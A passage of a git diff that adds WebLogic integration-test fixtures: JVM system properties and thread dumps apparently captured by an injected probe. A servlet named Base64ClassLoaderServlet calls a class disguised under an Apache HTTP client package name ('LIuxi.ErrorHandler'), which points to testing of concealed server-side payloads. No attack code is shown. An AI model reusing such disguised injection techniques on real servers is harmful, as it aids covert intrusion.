TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:150) + at weblogic.platform.GCMonitorThread.waitForNotification(GCMonitorThread.java:86) + at weblogic.platform.GCMonitorThread.run(GCMonitorThread.java:62) + +"[STANDBY] ExecuteThread: '2' for queue: 'weblogic.kernel.Default (self-tuning)'" #27 daemon [WAITING] on weblogic.work.ExecuteThread@5335c2a0 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:328) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:388) + +"[STANDBY] ExecuteThread: '13' for queue: 'weblogic.kernel.Default (self-tuning)'" #56 daemon [WAITING] on weblogic.work.ExecuteThread@2a173b41 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:328) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:388) + +"ImmediateThread-1754838109027" #12 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@6a9b0922 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"[STANDBY] ExecuteThread: '10' for queue: 'weblogic.kernel.Default (self-tuning)'" #50 daemon [WAITING] on weblogic.work.ExecuteThread@1125485 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:328) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:388) + +"ExecuteThread: '1' for queue: 'weblogic.socket.Muxer'" #30 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at weblogic.socket.NIOSocketMuxer.selectFrom(NIOSocketMuxer.java:653) + at weblogic.socket.NIOSocketMuxer.processSockets(NIOSocketMuxer.java:560) + at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:30) + at weblogic.socket.SocketReaderRequest.execute(SocketReaderRequest.java:43) + at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:147) + at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:119) + +"main" #1 [TIMED_WAITING] on weblogic.t3.srvr.T3Srvr@7fa09b73 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at weblogic.t3.srvr.T3Srvr.waitForDeath(T3Srvr.java:1120) + at weblogic.t3.srvr.T3ServerFuture.get(T3ServerFuture.java:79) + at weblogic.t3.srvr.T3ServerFuture.get(T3ServerFuture.java:61) + at weblogic.t3.srvr.T3ServerFuture.get(T3ServerFuture.java:15) + at weblogic.Server.main(Server.java:140) + +"[STANDBY] ExecuteThread: '15' for queue: 'weblogic.kernel.Default (self-tuning)'" #58 daemon [WAITING] on weblogic.work.ExecuteThread@3741c01d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:328) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:388) + +"[STANDBY] ExecuteThread: '6' for queue: 'weblogic.kernel.Default (self-tuning)'" #46 daemon [WAITING] on weblogic.work.ExecuteThread@7476eda8 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:328) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:388) + +"ExecuteThread: '2' for queue: 'weblogic.socket.Muxer'" #31 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at weblogic.socket.NIOSocketMuxer.selectFrom(NIOSocketMuxer.java:653) + at weblogic.socket.NIOSocketMuxer.processSockets(NIOSocketMuxer.java:560) + at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:30) + at weblogic.socket.SocketReaderRequest.execute(SocketReaderRequest.java:43) + at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:147) + at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:119) + +"[STANDBY] ExecuteThread: '1' for queue: 'weblogic.kernel.Default (self-tuning)'" #26 daemon [WAITING] on weblogic.work.ExecuteThread@56f762d3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:328) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:388) + +"[ACTIVE] ExecuteThread: '0' for queue: 'weblogic.kernel.Default (self-tuning)'" #22 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at org.apache.http.client.LIuxi.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2994) + at java.io.PrintWriter.print(PrintWriter.java:617) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at weblogic.servlet.internal.StubSecurityHelper$ServletServiceAction.run(StubSecurityHelper.java:295) + at weblogic.servlet.internal.StubSecurityHelper$ServletServiceAction.run(StubSecurityHelper.java:260) + at weblogic.servlet.internal.StubSecurityHelper.invokeServlet(StubSecurityHelper.java:137) + at weblogic.servlet.internal.ServletStubImpl.execute(ServletStubImpl.java:353) + at weblogic.servlet.internal.TailFilter.doFilter(TailFilter.java:25) + at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:78) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:78) + at weblogic.servlet.internal.WebAppServletContext$ServletInvocationAction.wrapRun(WebAppServletContext.java:3797) + at weblogic.servlet.internal.WebAppServletContext$ServletInvocationAction.run(WebAppServletContext.java:3763) + at weblogic.security.acl.internal.AuthenticatedSubject.doAs(AuthenticatedSubject.java:344) + at weblogic.security.service.SecurityManager.runAsForUserCode(SecurityManager.java:197) + at weblogic.servlet.provider.WlsSecurityProvider.runAsForUserCode(WlsSecurityProvider.java:203) + at weblogic.servlet.provider.WlsSubjectHandle.run(WlsSubjectHandle.java:71) + at weblogic.servlet.internal.WebAppServletContext.doSecuredExecute(WebAppServletContext.java:2451) + at weblogic.servlet.internal.WebAppServletContext.securedExecute(WebAppServletContext.java:2299) + at weblogic.servlet.internal.WebAppServletContext.execute(WebAppServletContext.java:2277) + at weblogic.servlet.internal.ServletRequestImpl.runInternal(ServletRequestImpl.java:1720) + at weblogic.servlet.internal.ServletRequestImpl.run(ServletRequestImpl.java:1680) + at weblogic.servlet.provider.ContainerSupportProviderImpl$WlsRequestExecutor.run(ContainerSupportProviderImpl.java:272) + at weblogic.invocation.ComponentInvocationContextManager._runAs(ComponentInvocationContextManager.java:352) + at weblogic.invocation.ComponentInvocationContextManager.runAs(ComponentInvocationContextManager.java:337) + at weblogic.work.LivePartitionUtility.doRunWorkUnderContext(LivePartitionUtility.java:57) + at weblogic.work.PartitionUtility.runWorkUnderContext(PartitionUtility.java:41) + at weblogic.work.SelfTuningWorkManagerImpl.runWorkUnderContext(SelfTuningWorkManagerImpl.java:655) + at weblogic.work.ExecuteThread.execute(ExecuteThread.java:420) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:360) + +"[STANDBY] ExecuteThread: '7' for queue: 'weblogic.kernel.Default (self-tuning)'" #47 daemon [WAITING] on weblogic.work.ExecuteThread@668e3e67 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:328) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:388) + +"[STANDBY] ExecuteThread: '5' for queue: 'weblogic.kernel.Default (self-tuning)'" #45 daemon [WAITING] on weblogic.work.ExecuteThread@1d200ec9 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:328) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:388) + +"weblogic.timers.TimerThread" #24 daemon [TIMED_WAITING] on java.lang.Object@1c9a2a91 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at weblogic.timers.internal.TimerThread.doWait(TimerThread.java:115) + at weblogic.timers.internal.TimerThread.access$000(TimerThread.java:21) + at weblogic.timers.internal.TimerThread$Thread.run(TimerThread.java:291) + +"ExecuteThread: '0' for queue: 'weblogic.socket.Muxer'" #29 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at weblogic.socket.NIOSocketMuxer.selectFrom(NIOSocketMuxer.java:653) + at weblogic.socket.NIOSocketMuxer.processSockets(NIOSocketMuxer.java:560) + at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:30) + at weblogic.socket.SocketReaderRequest.execute(SocketReaderRequest.java:43) + at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:147) + at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:119) + +"[STANDBY] ExecuteThread: '14' for queue: 'weblogic.kernel.Default (self-tuning)'" #57 daemon [WAITING] on weblogic.work.ExecuteThread@65a07f8f + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:328) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:388) + +"Logger@1273025922 12.2.1.4.0" #60 daemon [TIMED_WAITING] on com.tangosol.coherence.component.application.console.Coherence$Logger$Queue@5ce9596e + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:460) + at com.oracle.common.base.Blocking.wait(Blocking.java:97) + at com.oracle.common.base.Blocking.wait(Blocking.java:80) + at com.tangosol.coherence.component.util.Queue.await(Queue.CDB:9) + at com.tangosol.coherence.component.util.Daemon.onWait(Daemon.CDB:13) + at com.tangosol.coherence.component.util.daemon.QueueProcessor.onWait(QueueProcessor.CDB:3) + at com.tangosol.coherence.component.util.Daemon.run(Daemon.CDB:43) + at java.lang.Thread.run(Thread.java:750) + +"[STANDBY] ExecuteThread: '11' for queue: 'weblogic.kernel.Default (self-tuning)'" #51 daemon [WAITING] on weblogic.work.ExecuteThread@190ef5ff + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:328) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:388) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@6e8999c8 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"Timer-1" #20 daemon [WAITING] on java.util.TaskQueue@1509fc69 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"Thread-20" #43 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@588a92fb + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at weblogic.utils.concurrent.JDK15ConcurrentBlockingQueue.take(JDK15ConcurrentBlockingQueue.java:89) + at weblogic.store.internal.PersistentStoreImpl.getOutstandingWork(PersistentStoreImpl.java:868) + at weblogic.store.internal.PersistentStoreImpl.synchronousFlush(PersistentStoreImpl.java:1268) + at weblogic.store.internal.PersistentStoreImpl.run(PersistentStoreImpl.java:1260) + at java.lang.Thread.run(Thread.java:750) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.octetstring.vde.DoSManager +com.octetstring.vde.backend.standard.TransactionProcessor +com.oracle.common.base.Blocking +com.tangosol.coherence.component.util.Daemon +com.tangosol.coherence.component.util.Queue +com.tangosol.coherence.component.util.daemon.QueueProcessor +org.apache.http.client.LIuxi.ErrorHandler +weblogic.Server +weblogic.invocation.ComponentInvocationContextManager +weblogic.kernel.ExecuteThread +weblogic.platform.GCMonitorThread +weblogic.security.acl.internal.AuthenticatedSubject +weblogic.security.service.SecurityManager +weblogic.server.channels.ServerListenThread +weblogic.servlet.internal.FilterChainImpl +weblogic.servlet.internal.ServletRequestImpl +weblogic.servlet.internal.ServletStubImpl +weblogic.servlet.internal.StubSecurityHelper +weblogic.servlet.internal.StubSecurityHelper$ServletServiceAction +weblogic.servlet.internal.TailFilter +weblogic.servlet.internal.WebAppServletContext +weblogic.servlet.internal.WebAppServletContext$ServletInvocationAction +weblogic.servlet.provider.ContainerSupportProviderImpl$WlsRequestExecutor +weblogic.servlet.provider.WlsSecurityProvider +weblogic.servlet.provider.WlsSubjectHandle +weblogic.socket.NIOSocketMuxer +weblogic.socket.SocketReaderRequest +weblogic.store.internal.PersistentStoreImpl +weblogic.t3.srvr.T3ServerFuture +weblogic.t3.srvr.T3Srvr +weblogic.time.common.internal.TimeEventGenerator +weblogic.time.common.internal.TimeTable +weblogic.timers.internal.TimerThread +weblogic.timers.internal.TimerThread$Thread +weblogic.utils.concurrent.JDK15ConcurrentBlockingQueue +weblogic.work.ExecuteThread +weblogic.work.LivePartitionUtility +weblogic.work.PartitionUtility +weblogic.work.SelfTuningWorkManagerImpl diff --git a/integration-test/src/test/resources/infos/WebLogic14110ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/WebLogic14110ContainerTestBasicInfo.txt new file mode 100644 index 00000000..f4723cd3 --- /dev/null +++ b/integration-test/src/test/resources/infos/WebLogic14110ContainerTestBasicInfo.txt @@ -0,0 +1,448 @@ +# Generated At 2025-08-10 15:02:40 +SystemProps: +com.sun.jersey.server.impl.cdi.lookupExtensionInBeanManager: true +java.runtime.name: Java(TM) SE Runtime Environment +java.protocol.handler.pkgs: weblogic.utils|weblogic.utils +sun.boot.library.path: /u01/jdk/jre/lib/aarch64 +java.vm.version: 25.391-b26 +javax.management.builder.initial: weblogic.management.jmx.mbeanserver.WLSMBeanServerBuilder +oracle.jms.useJmsNotification: false +java.vm.vendor: Oracle Corporation +java.vendor.url: http://java.oracle.com/ +path.separator: : +java.vm.name: Java HotSpot(TM) 64-Bit Server VM +file.encoding.pkg: sun.io +user.country: US +sun.java.launcher: SUN_STANDARD +sun.os.patch.level: unknown +java.vm.specification.name: Java Virtual Machine Specification +user.dir: /u01/oracle/user_projects/domains/domain1 +java.runtime.version: 1.8.0_391-b26 +vde.home: /u01/oracle/user_projects/domains/domain1/servers/admin-server/data/ldap +javax.rmi.CORBA.UtilClass: weblogic.iiop.UtilDelegateImpl +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.endorsed.dirs: /u01/jdk/jre/lib/endorsed:/u01/oracle/wlserver/../oracle_common/modules/endorsed:/u01/oracle/wlserver/modules/endorsed +os.arch: aarch64 +java.io.tmpdir: /tmp +line.separator: + +weblogic.Name: admin-server +java.vm.specification.vendor: Oracle Corporation +java.naming.factory.url.pkgs: weblogic.jndi.factories:weblogic.corba.j2ee.naming.url:weblogic.jndi.factories:weblogic.corba.j2ee.naming.url +os.name: Linux +weblogic.home: /u01/oracle/wlserver/server +sun.jnu.encoding: ANSI_X3.4-1968 +org.omg.CORBA.ORBSingletonClass: weblogic.corba.orb.ORB +java.system.class.loader: com.oracle.classloader.weblogic.LaunchClassLoader +java.library.path: :/u01/oracle/oracle_common/adr::/u01/oracle/wlserver/server/native/linux/aarch64:/u01/oracle/wlserver/server/native/linux/aarch64/oci920_8:/usr/java/packages/lib/aarch64:/lib:/usr/lib +java.specification.name: Java Platform API Specification +java.class.version: 52.0 +org.omg.CORBA.ORBClass: weblogic.corba.orb.ORB +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +weblogic.StdoutDebugEnabled: false +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +wls.home: /u01/oracle/wlserver/server +user.home: /home/oracle +javax.rmi.CORBA.PortableRemoteObjectClass: weblogic.iiop.PortableRemoteObjectDelegateImpl +java.security.policy: /u01/oracle/wlserver/server/lib/weblogic.policy +user.timezone: GMT +java.awt.printerjob: sun.print.PSPrinterJob +file.encoding: ANSI_X3.4-1968 +java.specification.version: 1.8 +java.class.path: /u01/jdk/lib/tools.jar:/u01/oracle/wlserver/server/lib/weblogic.jar:/u01/oracle/wlserver/../oracle_common/modules/thirdparty/ant-contrib-1.0b3.jar:/u01/oracle/wlserver/modules/features/oracle.wls.common.nodemanager.jar:/u01/oracle/wlserver/common/derby/lib/derbynet.jar:/u01/oracle/wlserver/common/derby/lib/derbyclient.jar:/u01/oracle/wlserver/common/derby/lib/derby.jar +user.name: oracle +java.naming.factory.initial: weblogic.jndi.WLInitialContextFactory +java.vm.specification.version: 1.8 +sun.java.command: weblogic.Server +java.home: /u01/jdk/jre +sun.arch.data.model: 64 +user.language: en +java.specification.vendor: Oracle Corporation +awt.toolkit: sun.awt.X11.XToolkit +java.vm.info: mixed mode +java.version: 1.8.0_391 +java.ext.dirs: /u01/jdk/jre/lib/ext:/usr/java/packages/lib/ext +launch.use.env.classpath: true +sun.boot.class.path: /u01/oracle/wlserver/../oracle_common/modules/endorsed/jakarta.annotation.jakarta.annotation-api.jar:/u01/oracle/wlserver/../oracle_common/modules/endorsed/jakarta.xml.ws.jakarta.xml.ws-api.jar:/u01/jdk/jre/lib/resources.jar:/u01/jdk/jre/lib/rt.jar:/u01/jdk/jre/lib/jsse.jar:/u01/jdk/jre/lib/jce.jar:/u01/jdk/jre/lib/charsets.jar:/u01/jdk/jre/lib/jfr.jar:/u01/jdk/jre/classes +java.vendor: Oracle Corporation +java.specification.maintenance.version: 5 +java.security.egd: file:/dev/./urandom +file.separator: / +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +sun.io.unicode.encoding: UnicodeLittle +sun.cpu.endian: little +sun.cpu.isalist: + +=========================================== + +ThreadStacks: +"weblogic.socket.ServerListenThread" #43 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at weblogic.server.channels.ServerListenThread.selectFrom(ServerListenThread.java:241) + at weblogic.server.channels.ServerListenThread.processSockets(ServerListenThread.java:137) + at weblogic.server.channels.ServerListenThread.run(ServerListenThread.java:114) + +"[STANDBY] ExecuteThread: '7' for queue: 'weblogic.kernel.Default (self-tuning)'" #47 daemon [WAITING] on weblogic.work.ExecuteThread@692dd32b + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:328) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:388) + +"ExecuteThread: '3' for queue: 'weblogic.socket.Muxer'" #32 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at weblogic.socket.NIOSocketMuxer.selectFrom(NIOSocketMuxer.java:653) + at weblogic.socket.NIOSocketMuxer.processSockets(NIOSocketMuxer.java:560) + at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:30) + at weblogic.socket.SocketReaderRequest.execute(SocketReaderRequest.java:43) + at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:147) + at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:119) + +"weblogic.timers.TimerThread" #24 daemon [TIMED_WAITING] on java.lang.Object@3f9a022c + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at weblogic.timers.internal.TimerThread.doWait(TimerThread.java:115) + at weblogic.timers.internal.TimerThread.access$000(TimerThread.java:21) + at weblogic.timers.internal.TimerThread$Thread.run(TimerThread.java:291) + +"[STANDBY] ExecuteThread: '5' for queue: 'weblogic.kernel.Default (self-tuning)'" #45 daemon [WAITING] on weblogic.work.ExecuteThread@56d6d55c + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:328) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:388) + +"[ACTIVE] ExecuteThread: '3' for queue: 'weblogic.kernel.Default (self-tuning)'" #28 daemon [WAITING] on weblogic.work.ExecuteThread@22ef39e2 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:328) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:388) + +"[STANDBY] ExecuteThread: '13' for queue: 'weblogic.kernel.Default (self-tuning)'" #56 daemon [WAITING] on weblogic.work.ExecuteThread@1aa17aae + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:328) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:388) + +"[STANDBY] ExecuteThread: '4' for queue: 'weblogic.kernel.Default (self-tuning)'" #34 daemon [WAITING] on weblogic.work.ExecuteThread@3d437bd7 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:328) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:388) + +"ImmediateThread-1754838136331" #12 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@6c42700b + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"[STANDBY] ExecuteThread: '15' for queue: 'weblogic.kernel.Default (self-tuning)'" #58 daemon [WAITING] on weblogic.work.ExecuteThread@71d7efcf + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:328) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:388) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"weblogic.GCMonitor" #44 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@6d45f807 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:150) + at weblogic.platform.GCMonitorThread.waitForNotification(GCMonitorThread.java:86) + at weblogic.platform.GCMonitorThread.run(GCMonitorThread.java:62) + +"ExecuteThread: '1' for queue: 'weblogic.socket.Muxer'" #30 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at weblogic.socket.NIOSocketMuxer.selectFrom(NIOSocketMuxer.java:653) + at weblogic.socket.NIOSocketMuxer.processSockets(NIOSocketMuxer.java:560) + at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:30) + at weblogic.socket.SocketReaderRequest.execute(SocketReaderRequest.java:43) + at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:147) + at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:119) + +"weblogic.time.TimeEventGenerator" #23 daemon [TIMED_WAITING] on weblogic.time.common.internal.TimeTable@a604703 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at weblogic.time.common.internal.TimeTable.snooze(TimeTable.java:286) + at weblogic.time.common.internal.TimeEventGenerator.run(TimeEventGenerator.java:121) + at java.lang.Thread.run(Thread.java:750) + +"[STANDBY] ExecuteThread: '12' for queue: 'weblogic.kernel.Default (self-tuning)'" #52 daemon [WAITING] on weblogic.work.ExecuteThread@48479fdb + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:328) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:388) + +"[STANDBY] ExecuteThread: '2' for queue: 'weblogic.kernel.Default (self-tuning)'" #27 daemon [WAITING] on weblogic.work.ExecuteThread@1cde6e3f + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:328) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:388) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@6584af01 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"[STANDBY] ExecuteThread: '8' for queue: 'weblogic.kernel.Default (self-tuning)'" #48 daemon [WAITING] on weblogic.work.ExecuteThread@2eef08d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:328) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:388) + +"ExecuteThread: '2' for queue: 'weblogic.socket.Muxer'" #31 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at 